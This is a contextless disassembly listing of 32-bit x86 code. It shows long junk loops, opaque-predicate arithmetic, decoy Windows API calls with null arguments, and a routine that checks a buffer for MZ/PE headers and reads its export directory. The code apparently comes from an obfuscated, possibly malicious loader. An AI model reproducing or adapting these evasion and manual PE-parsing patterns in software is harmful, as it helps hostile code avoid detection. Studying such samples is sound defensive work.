cmp dword [ebp - 0x7b8], 0x445
jge 0x1003c9ba
mov eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x688]
shl eax, cl
mov ecx, dword [ebp - 0x540]
sub ecx, dword [ebp - 0x7b8]
xor eax, ecx
cdq
mov dword [ebp - 0x158c], eax
mov dword [ebp - 0x1588], edx
push dword [ebp - 0x1588]
push dword [ebp - 0x158c]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003c960
jmp 0x1003c93e
jmp 0x1003c918
jmp 0x1003c8f2
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x218], 0xfffffff9
mov dword [ebp - 0xd40], 0x4922
mov dword [ebp - 0x1494], 0x1000b558
cmp dword [ebp - 0xd40], 0x4c53
jle 0x1003cb0e
and dword [ebp - 0x548], 0
jmp 0x1003ca11
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0x6b0a
jge 0x1003cb04
and dword [ebp - 0x690], 0
jmp 0x1003ca37
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0xb73
jge 0x1003caff
and dword [ebp - 0x550], 0
jmp 0x1003ca5d
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x5b8f
jge 0x1003cafa
and dword [ebp - 0x730], 0
jmp 0x1003ca83
mov eax, dword [ebp - 0x730]
inc eax
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0x824
jge 0x1003caf5
mov eax, dword [ebp - 0x548]
sub eax, dword [ebp - 0x690]
mov ecx, dword [ebp - 0x550]
imul ecx, dword [ebp - 0x730]
sub eax, ecx
cdq
mov dword [ebp - 0x1598], eax
mov dword [ebp - 0x1594], edx
push dword [ebp - 0x1594]
push dword [ebp - 0x1598]
lea ecx, [ebp - 0x213c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x186c], eax
mov ecx, dword [ebp - 0x186c]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x213c]
call fcn.100229d5
jmp 0x1003ca76
jmp 0x1003ca50
jmp 0x1003ca2a
jmp 0x1003ca04
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowTextA]
cmp dword [ebp - 0xd40], 0x47af
jge 0x1003cb26
push dword [ebp - 0x1494]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x1f0], 1
mov dword [ebp - 0x698], 3
mov dword [ebp - 0x1d0], 0xb4e3473e
mov dword [ebp - 0xa4], 0xfffffffa
mov dword [ebp - 0x884], 0xb8a442f2
mov dword [ebp - 0x14a0], 0x474c77a5
mov dword [ebp - 0x89c], 0x1797e2bd
mov dword [ebp - 0x1d28], 0xfffffffd
mov dword [ebp - 0x558], 0
jmp 0x1003cb8f
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 1
jge 0x1003cbab
mov eax, dword [ebp - 0x558]
mov dword [ebp + eax*4 - 0x29c], 5
jmp 0x1003cb82
cmp dword [ebp - 0x30], 0
jl 0x1003cbbd
mov dword [ebp - 0x1170], 1
jmp 0x1003cbc4
and dword [ebp - 0x1170], 0
mov eax, dword [ebp - 0x1170]
add eax, 9
je 0x1003cbe1
cmp dword [ebp - 0x30], 0
je 0x1003cbe1
mov dword [ebp - 0xd48], 1
jmp 0x1003cbe8
and dword [ebp - 0xd48], 0
mov eax, dword [ebp - 0xd48]
sub eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jne 0x1003cbfa
cmp dword [ebp - 0x30], 0
cmp dword [ebp - 0x218], 0
jne 0x1003cc11
xor eax, eax
inc eax
jne 0x1003cc11
and dword [ebp - 0x1010], 0
jmp 0x1003cc1b
mov dword [ebp - 0x1010], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x1010], eax
jg 0x1003cc32
mov dword [ebp - 0xd50], 1
jmp 0x1003cc39
and dword [ebp - 0xd50], 0
imul eax, dword [ebp - 0x30], 0x2b96
imul eax, dword [ebp - 0xd50]
mov dword [ebp - 0x1270], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1270]
mov dword [ebp + eax - 0x29c], ecx
cmp dword [ebp - 0x1270], 0xfffffffd
jle 0x1003cc75
mov dword [ebp - 0xd58], 1
jmp 0x1003cc7c
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0xd58]
sub eax, dword [ebp - 0x30]
neg eax
jne 0x1003cca2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x29c], 0
jne 0x1003cca2
and dword [ebp - 0x1018], 0
jmp 0x1003ccac
mov dword [ebp - 0x1018], 1
mov eax, dword [ebp - 0x1018]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0x30], eax
jge 0x1003cccf
mov dword [ebp - 0xd60], 1
jmp 0x1003ccd6
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0xd60]
sub eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x698]
jg 0x1003ccf3
mov dword [ebp - 0x1178], 1
jmp 0x1003ccfa
and dword [ebp - 0x1178], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x1178], eax
jne 0x1003cd14
mov dword [ebp - 0xd68], 1
jmp 0x1003cd1b
and dword [ebp - 0xd68], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0xd68], eax
jg 0x1003cd35
mov dword [ebp - 0x1020], 1
jmp 0x1003cd3c
and dword [ebp - 0x1020], 0
mov eax, dword [ebp - 0x698]
cmp dword [ebp - 0x1020], eax
jge 0x1003cd56
mov dword [ebp - 0xd70], 1
jmp 0x1003cd5d
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0x698]
cmp dword [ebp - 0xd70], eax
jl 0x1003cd77
mov dword [ebp - 0x1230], 1
jmp 0x1003cd7e
and dword [ebp - 0x1230], 0
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x1230]
imul eax, dword [ebp - 0x218]
cmp eax, dword [ebp - 0x698]
jg 0x1003cda2
mov dword [ebp - 0xd78], 1
jmp 0x1003cda9
and dword [ebp - 0xd78], 0
mov eax, dword [ebp - 0xd78]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x218], 0x1a
jmp 0x1003cde0
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x30
jl 0x1003d17b
mov dword [ebp - 0x780], 0x6e56995e
mov dword [ebp - 0x1180], 0x709c1800
mov dword [ebp - 0x14b8], 0xffffffff
mov dword [ebp - 0x1d0], 0
jmp 0x1003ce24
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jge 0x1003d176
mov dword [ebp - 0x1278], 0
mov dword [ebp - 0x834], 0xc9d266ab
mov dword [ebp - 0x14ac], 0xc6acebdd
mov dword [ebp - 0x1f0], 0
jmp 0x1003ce68
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
jl 0x1003d171
mov dword [ebp - 0x560], 0xcc772a30
mov dword [ebp - 0x18d0], 0x536ca9a4
mov dword [ebp - 0xd98], 0xc332
mov dword [ebp - 0x179c], 0xfffb
mov dword [ebp - 0xa4], 0
jmp 0x1003ceb6
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jg 0x1003d011
mov dword [ebp - 0x1794], 0x74e37a2e
cmp dword [ebp - 0x1794], 0
jne 0x1003cee2
mov dword [ebp - 0x82c], 1
jmp 0x1003cee9
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x14a0]
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x780], eax
jle 0x1003cf0f
mov dword [ebp - 0x1028], 1
jmp 0x1003cf16
and dword [ebp - 0x1028], 0
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x82c]
mov dword [ebp + eax*4 - 0x29c], ecx
mov eax, dword [ebp - 0x82c]
cmp eax, dword [ebp - 0x1028]
je 0x1003cf5d
mov eax, dword [ebp - 0x780]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x1180]
cmp dword [ebp - 0x560], eax
jne 0x1003cf5d
mov dword [ebp - 0xd80], 1
jmp 0x1003cf64
and dword [ebp - 0xd80], 0
mov eax, dword [ebp - 0x884]
cmp dword [ebp - 0xd80], eax
jge 0x1003cf7e
mov dword [ebp - 0xd88], 1
jmp 0x1003cf85
and dword [ebp - 0xd88], 0
mov eax, dword [ebp - 0x1180]
cmp dword [ebp - 0xd88], eax
jle 0x1003cfa8
cmp dword [ebp - 0xa4], 0
je 0x1003cfa8
mov dword [ebp - 0x1030], 1
jmp 0x1003cfaf
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x18d0]
cmp dword [ebp - 0x1030], eax
je 0x1003cfd6
mov eax, dword [ebp - 0xa4]
cmp dword [ebp + eax*4 - 0x29c], 0
jne 0x1003cfd6
and dword [ebp - 0xd90], 0
jmp 0x1003cfe0
mov dword [ebp - 0xd90], 1
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0x1278], eax
mov byte [ebp - 0x17f], 0
movzx eax, byte [ebp - 0x17f]
test eax, eax
je 0x1003d00c
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidthW]
jmp 0x1003cea9
mov eax, dword [ebp - 0x1278]
mov dword [ebp - 0x834], eax
mov eax, dword [ebp - 0x834]
cmp dword [ebp - 0xd98], eax
jl 0x1003d037
mov dword [ebp - 0xda0], 1
jmp 0x1003d03e
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0xd98]
mov dword [ebp - 0x1e04], eax
mov eax, dword [ebp - 0x560]
sub eax, dword [ebp - 0x89c]
add eax, dword [ebp - 0x89c]
mov dword [ebp - 0x14ac], eax
cmp dword [ebp - 0x30], 0xae8bcd06
ja 0x1003d077
mov dword [ebp - 0x1038], 1
jmp 0x1003d07e
and dword [ebp - 0x1038], 0
cmp dword [ebp - 0x1038], 0x6adb69c5
je 0x1003d096
mov dword [ebp - 0x1188], 1
jmp 0x1003d09d
and dword [ebp - 0x1188], 0
mov eax, dword [ebp - 0xda0]
cmp eax, dword [ebp - 0x1188]
jg 0x1003d0b7
mov dword [ebp - 0xda8], 1
jmp 0x1003d0be
and dword [ebp - 0xda8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
cmp eax, dword [ebp - 0xda8]
jle 0x1003d0df
mov dword [ebp - 0x1040], 1
jmp 0x1003d0e6
and dword [ebp - 0x1040], 0
mov eax, dword [ebp - 0x1040]
sub eax, dword [ebp - 0x179c]
cmp dword [ebp - 0x560], eax
jge 0x1003d106
mov dword [ebp - 0xdb0], 1
jmp 0x1003d10d
and dword [ebp - 0xdb0], 0
cmp dword [ebp - 0xdb0], 0xffff
je 0x1003d125
mov dword [ebp - 0x1238], 1
jmp 0x1003d12c
and dword [ebp - 0x1238], 0
mov eax, dword [ebp - 0x1238]
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x834], 0
jg 0x1003d14d
mov dword [ebp - 0xdb8], 1
jmp 0x1003d154
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0xdb8]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x780]
mov dword [ebp - 0x14b8], eax
jmp 0x1003ce5b
jmp 0x1003ce17
jmp 0x1003cdd3
cmp dword [ebp - 0x1048], 0x3d4d
jge 0x1003d197
mov edx, dword [ebp - 0x187c]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x590], eax
push 4
lea ecx, [ebp - 0x1334]
call fcn.10022d19
mov dword [ebp - 4], 0x1e
push 1
lea ecx, [ebp - 0x1310]
call fcn.10022d19
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x2c4], 0xc781ced8
push 1
lea ecx, [ebp - 0x1960]
call fcn.10022d19
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x1d30], 0
mov dword [ebp - 0x34], 0
jmp 0x1003d1fa
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 4
jge 0x1003d216
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1334]
call fcn.10022db7
mov dword [eax], 0x7571
jmp 0x1003d1f3
mov dword [ebp - 0x34], 0
jmp 0x1003d226
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1003d242
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1310]
call fcn.10022db7
mov dword [eax], 0x1febaeef
jmp 0x1003d21f
mov dword [ebp - 0x34], 0
jmp 0x1003d252
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1003d26e
push dword [ebp - 0x34]
lea ecx, [ebp - 0x1960]
call fcn.10022db7
mov dword [eax], 0x4d63a88e
jmp 0x1003d24b
push 0
lea ecx, [ebp - 0x1310]
call fcn.10022db7
and dword [eax], 0
jmp 0x1003d2a4
push 0
lea ecx, [ebp - 0x1310]
call fcn.10022db7
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdc0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xdc0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1310]
call fcn.10022db7
cmp dword [eax], 3
jg 0x1003d758
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x6a8], 0x64f14790
mov dword [ebp - 0x14d0], 0xffffffff
mov dword [ebp - 0x568], 0
jmp 0x1003d2ee
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 3
jge 0x1003d30a
mov eax, dword [ebp - 0x568]
mov dword [ebp + eax*4 - 0x1ee0], 0x9b389519
jmp 0x1003d2e1
mov dword [ebp - 0x4c], 3
jmp 0x1003d31a
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1003d494
mov dword [ebp - 0x1190], 0x4ba31e46
mov dword [ebp - 0xdc8], 0x5aa3
mov dword [ebp - 0x17a4], 0x1000b5b8
cmp dword [ebp - 0xdc8], 0x5c5d
jle 0x1003d46a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
and dword [ebp - 0x578], 0
jmp 0x1003d378
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 0x5f3c
jge 0x1003d46a
and dword [ebp - 0x6a0], 0
jmp 0x1003d39e
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 0x1b77
jge 0x1003d465
and dword [ebp - 0x570], 0
jmp 0x1003d3c4
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0x23e5
jge 0x1003d460
and dword [ebp - 0x738], 0
jmp 0x1003d3ea
mov eax, dword [ebp - 0x738]
inc eax
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 0x4b69
jge 0x1003d45b
mov ecx, dword [ebp - 0x6a0]
add ecx, dword [ebp - 0x570]
sub ecx, dword [ebp - 0x738]
mov eax, dword [ebp - 0x578]
sar eax, cl
cdq
mov dword [ebp - 0x15a4], eax
mov dword [ebp - 0x15a0], edx
push dword [ebp - 0x15a0]
push dword [ebp - 0x15a4]
lea ecx, [ebp - 0x222c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x14c4], eax
mov ecx, dword [ebp - 0x14c4]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x222c]
call fcn.100229d5
jmp 0x1003d3dd
jmp 0x1003d3b7
jmp 0x1003d391
jmp 0x1003d36b
mov eax, dword [ebp - 0x1190]
dec eax
mov dword [ebp - 0x1190], eax
cmp dword [ebp - 0xdc8], 0x5a56
jge 0x1003d48f
push dword [ebp - 0x17a4]
call fcn.10074e83
pop ecx
jmp 0x1003d313
mov dword [ebp - 0x4c], 3
jmp 0x1003d4a4
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1003d753
mov dword [ebp - 0x1f4], 6
mov dword [ebp - 0x6a8], 0
jmp 0x1003d4d1
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 3
jg 0x1003d74e
mov dword [ebp - 0x904], 0
push 3
lea ecx, [ebp - 0x1334]
call fcn.10022db7
mov ecx, dword [ebp - 0x4c]
cmp dword [eax], ecx
jle 0x1003d508
mov dword [ebp - 0x1050], 1
jmp 0x1003d50f
and dword [ebp - 0x1050], 0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1334]
call fcn.10022db7
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1050]
je 0x1003d533
mov dword [ebp - 0x1198], 1
jmp 0x1003d53a
and dword [ebp - 0x1198], 0
cmp dword [ebp - 0x1f4], 0
je 0x1003d58c
cmp dword [ebp - 0x14d0], 0xb1857497
ja 0x1003d55b
mov dword [ebp - 0x83c], 1
jmp 0x1003d562
and dword [ebp - 0x83c], 0
push 0
lea ecx, [ebp - 0x1960]
call fcn.10022db7
mov ecx, dword [ebp - 0x83c]
mov dword [eax], ecx
cmp dword [ebp - 0x83c], 0
je 0x1003d58c
mov dword [ebp - 0xdd0], 1
jmp 0x1003d593
and dword [ebp - 0xdd0], 0
mov esi, dword [ebp - 0xdd0]
add esi, 0xa
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1334]
call fcn.10022db7
cmp esi, dword [eax]
jl 0x1003d5ba
mov dword [ebp - 0x1280], 1
jmp 0x1003d5c1
and dword [ebp - 0x1280], 0
push 0
lea ecx, [ebp - 0x1310]
call fcn.10022db7
mov ecx, dword [ebp - 0x1280]
cmp ecx, dword [eax]
je 0x1003d5e4
mov dword [ebp - 0xdd8], 1
jmp 0x1003d5eb
and dword [ebp - 0xdd8], 0
cmp dword [ebp - 0xdd8], 0x4286a4ab
je 0x1003d603
mov dword [ebp - 0x18d4], 1
jmp 0x1003d60a
and dword [ebp - 0x18d4], 0
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4c], eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x1334]
call fcn.10022db7
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1ee0]
cmp dword [eax], ecx
jg 0x1003d641
mov dword [ebp - 0x1058], 1
jmp 0x1003d648
and dword [ebp - 0x1058], 0
mov eax, dword [ebp - 0x1058]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x904]
cmp dword [ebp - 0x1198], eax
jne 0x1003d66e
mov dword [ebp - 0xde8], 1
jmp 0x1003d675
and dword [ebp - 0xde8], 0
cmp dword [ebp - 0xde8], 0x35cb5140
jne 0x1003d68d
mov dword [ebp - 0x1060], 1
jmp 0x1003d694
and dword [ebp - 0x1060], 0
mov eax, dword [ebp - 0x1060]
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x1f4], 0
jmp 0x1003d6b9
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jg 0x1003d749
mov dword [ebp - 0x14dc], 1
mov dword [ebp - 0x2c4], 3
jmp 0x1003d6e9
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
jl 0x1003d739
mov dword [ebp - 0x90c], 0xffffffff
cmp dword [ebp - 0x4c], 0xffffffff
jb 0x1003d70e
mov dword [ebp - 0x908], 1
jmp 0x1003d715
and dword [ebp - 0x908], 0
push 0
lea ecx, [ebp - 0x1960]
call fcn.10022db7
mov ecx, dword [ebp - 0x908]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90c]
dec eax
mov dword [ebp - 0x90c], eax
jmp 0x1003d6dc
cmp dword [ebp - 0x14dc], 0
je 0x1003d744
jmp 0x1003d749
jmp 0x1003d6ac
jmp 0x1003d4c4
jmp 0x1003d49d
jmp 0x1003d280
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1960]
call fcn.10022d9b
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x1310]
call fcn.10022d9b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1334]
call fcn.10022d9b
mov dword [ebp - 0x10ec], 0x64af
mov dword [ebp - 0x1398], 0x1000b600
cmp dword [ebp - 0x10ec], 0x6571
jle 0x1003d81e
and dword [ebp - 0x580], 0
jmp 0x1003d7bb
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0x433e
jge 0x1003d81e
and dword [ebp - 0x7a8], 0
jmp 0x1003d7dd
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 0x31a8
jge 0x1003d81c
mov eax, dword [ebp - 0x580]
mov ecx, dword [ebp - 0x7a8]
shl eax, cl
cdq
mov dword [ebp - 0x15b0], eax
mov dword [ebp - 0x15ac], edx
push dword [ebp - 0x15ac]
push dword [ebp - 0x15b0]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003d7d0
jmp 0x1003d7ae
cmp dword [ebp - 0x590], 0
je 0x10043efc
mov eax, dword [ebp - 0x590]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10043efc
mov dword [ebp - 0x25c], 1
mov dword [ebp - 0x260], 0xfffffffc
mov dword [ebp - 0x1948], 0x6694
mov dword [ebp - 0x1944], 0x6694
mov dword [ebp - 0x1940], 0x6694
mov dword [ebp - 0x193c], 0x6694
push 2
lea ecx, [ebp - 0x196c]
call fcn.10022d19
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x588], 0
jmp 0x1003d8a8
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 2
jge 0x1003d8c7
push dword [ebp - 0x588]
lea ecx, [ebp - 0x196c]
call fcn.10022db7
and dword [eax], 0
jmp 0x1003d89b
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x1d38], eax
imul eax, dword [ebp - 0x260], 0x1328
cmp dword [ebp - 0x260], eax
jne 0x1003d8f1
mov dword [ebp - 0x914], 1
jmp 0x1003d8f8
and dword [ebp - 0x914], 0
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1948]
cmp dword [ebp + eax - 0x1948], ecx
jg 0x1003d920
mov dword [ebp - 0x8ac], 1
jmp 0x1003d927
and dword [ebp - 0x8ac], 0
push 1
lea ecx, [ebp - 0x196c]
call fcn.10022db7
mov ecx, dword [ebp - 0x8ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x914]
neg eax
cmp eax, dword [ebp - 0x8ac]
jg 0x1003d958
mov dword [ebp - 0x91c], 1
jmp 0x1003d95f
and dword [ebp - 0x91c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1948]
imul eax, dword [ebp - 0x91c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], 0xfffffff2
jmp 0x1003d992
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x22
je 0x1003da77
mov dword [ebp - 0x844], 0x4431fada
mov dword [ebp - 0x924], 0xffffffff
push 1
lea ecx, [ebp - 0x1ad8]
call fcn.10022d19
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x6b0], 0
jmp 0x1003d9dd
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 1
jge 0x1003d9ff
push dword [ebp - 0x6b0]
lea ecx, [ebp - 0x1ad8]
call fcn.10022db7
mov dword [eax], 0xfffffffd
jmp 0x1003d9d0
push 1
lea ecx, [ebp - 0x196c]
call fcn.10022db7
mov eax, dword [eax]
add eax, 0xee61
mov dword [ebp - 0x260], eax
jne 0x1003da27
mov dword [ebp - 0x92c], 1
jmp 0x1003da2e
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0x924], eax
mov esi, dword [ebp - 0x924]
imul esi, dword [ebp - 0x92c]
push 0
lea ecx, [ebp - 0x1ad8]
call fcn.10022db7
mov dword [eax], esi
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1ad8]
call fcn.10022d9b
jmp 0x1003d985
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x196c]
call fcn.10022d9b
mov eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x590]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2b8], ecx
mov eax, dword [ebp - 0x2b8]
cmp dword [eax], 0x4550
jne 0x10043efc
mov eax, dword [ebp - 0x2b8]
cmp dword [eax + 0x74], 0
jbe 0x10043efc
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b8]
cmp dword [ecx + eax + 0x78], 0
je 0x10043efc
mov dword [ebp - 0xac], 0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x974], 0xdfbc
mov dword [ebp - 0x97c], 0xf196e6c8
mov dword [ebp - 0x1e0c], 0x96a9cbd
mov dword [ebp - 0x1a08], 0x3c94681c
mov dword [ebp - 0x1a04], 0x3c94681c
mov dword [ebp - 0x1a00], 0x3c94681c
mov dword [ebp - 0x19fc], 0x3c94681c
lea ecx, [ebp - 0x855]
call fcn.10022dc6
push eax
lea eax, [ebp - 0x19f8]
push eax
lea eax, [ebp - 0x1a08]
push eax
lea ecx, [ebp - 0x1f24]
call fcn.10022dc9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1d0c]
call fcn.10022d75
mov dword [ebp - 4], 0x23
push 1
lea ecx, [ebp - 0x1cf8]
call fcn.10022d19
mov byte [ebp - 4], 0x24
push 1
lea ecx, [ebp - 0x1af0]
call fcn.10022d19
mov byte [ebp - 4], 0x25
mov dword [ebp - 0x17b4], 1
mov dword [ebp - 0x38], 0
jmp 0x1003dba6
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x1003dbbc
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x96c], 0xd9a54e58
jmp 0x1003db9f
mov dword [ebp - 0x38], 0
jmp 0x1003dbcc
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x1003dbe8
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1cf8]
call fcn.10022db7
mov dword [eax], 0x4019
jmp 0x1003dbc5
mov dword [ebp - 0x38], 0
jmp 0x1003dbf8
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x1003dc14
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1af0]
call fcn.10022db7
mov dword [eax], 0xccbf
jmp 0x1003dbf1
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1d40], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x1e8c], eax
mov eax, 0x753589fe
test eax, eax
je 0x1003dc60
mov dword [ebp - 0x104], 0
cmp dword [ebp - 0x104], 0
je 0x1003dc60
mov dword [ebp - 0x934], 1
jmp 0x1003dc67
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x934], eax
jle 0x1003dc81
mov dword [ebp - 0x93c], 1
jmp 0x1003dc88
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x93c]
jg 0x1003dca2
mov dword [ebp - 0x944], 1
jmp 0x1003dca9
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x944]
sub eax, dword [ebp - 0xac]
cmp eax, 0x88c5
jge 0x1003dcc8
mov dword [ebp - 0x94c], 1
jmp 0x1003dccf
and dword [ebp - 0x94c], 0
imul eax, dword [ebp - 0x94c], 0x123d
mov ecx, dword [ebp - 0xac]
lea eax, [eax + ecx + 0xfbea88d]
cmp eax, dword [ebp - 0xac]
jl 0x1003dcfa
mov dword [ebp - 0x954], 1
jmp 0x1003dd01
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x954], eax
jl 0x1003dd1b
mov dword [ebp - 0x95c], 1
jmp 0x1003dd22
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x974]
cmp dword [ebp - 0x95c], eax
je 0x1003dd3c
mov dword [ebp - 0x964], 1
jmp 0x1003dd43
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x964]
mov dword [ebp - 0x97c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x96c]
